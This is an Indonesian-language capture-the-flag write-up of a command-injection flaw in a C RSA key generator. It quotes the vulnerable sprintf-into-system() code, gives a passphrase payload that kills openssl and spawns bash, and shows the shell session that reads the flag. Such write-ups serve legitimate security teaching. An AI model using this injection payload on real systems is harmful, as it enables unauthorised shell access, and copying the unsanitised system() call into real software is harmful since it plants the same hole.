[Cyber Jawara Quals 2017] RSA Key Generator (75 Poin)

Masalah

Diberikan berkas rsa_keygen, berkas rsa_keygen.c, dan layanan yang tersedia pada nc cj2k17.ctf.idsirtii.or.id 11337 serta dapat digunakan untuk membangkitkan pasangan kunci RSA dengan bahasa pemrograman C.

Penyelesaian

Pengumpulan Informasi

Kami memeriksa jenis berkas dan keamanan yang ada didalamnya dengan file dan checksec.

$ file ./rsa_keygen
./rsa_keygen: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=95b1aa3619e0346d3f2ba59310204033f64bef1f, not stripped

$ checksec ./rsa_keygen 
[*] '/.../rsa_keygen'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Berdasarkan informasi diatas, keamanan binary untuk PIE tidak diaktifkan dan arsitektur yang digunakan adalah Linux 64 bit. Sedangkan alur program dapat ditelusuri melalui source code rsa_keygen.c dimana program meminta input berupa string antara 4-127 karakter sebagai passphrase yang digunakan dalam fungsi system.

Identifikasi Kelemahan

    sprintf(private_gen,
            "openssl genrsa -aes128 -passout 'pass:%s' -out "
            "dir/%s/private.pem 2048 2>/dev/null",
            passphrase, dir);

    sprintf(public_gen,
            "openssl rsa -passin 'pass:%s' -in dir/%s/private.pem "
            "-outform PEM -pubout -out dir/%s/public.pem 2>/dev/null",
            passphrase, dir, dir);

    system(private_gen);
    system(public_gen);

Identifikasi Kelemahan

Berdasarkan informasi diatas, terdapat kelemahan injeksi kode dengan memanfaatkan input passphrase. Kami berhasil menginjeksi kode untuk mematikan Openssl dan menjalankan shell Bash dengan input dibawah ini.

'& pkill openssl; bash;'

Luaran

$ nc cj2k17.ctf.idsirtii.or.id 11337

 --//-- CJ RSA Key Generator --//-- 

Passphrase: '& pkill openssl; bash;'

id
uid=1000(bin1) gid=1000(bin1) groups=1000(bin1)
ls
dir
flag.txt
rsa_keygen
cat flag.txt
CJ2017{cmd_injection_is_still_exist_in_2k17!!!!}

Flag yang didapat adalah CJ2017{cmd_injection_is_still_exist_in_2k17!!!!}.

results matching ""

    No results matching ""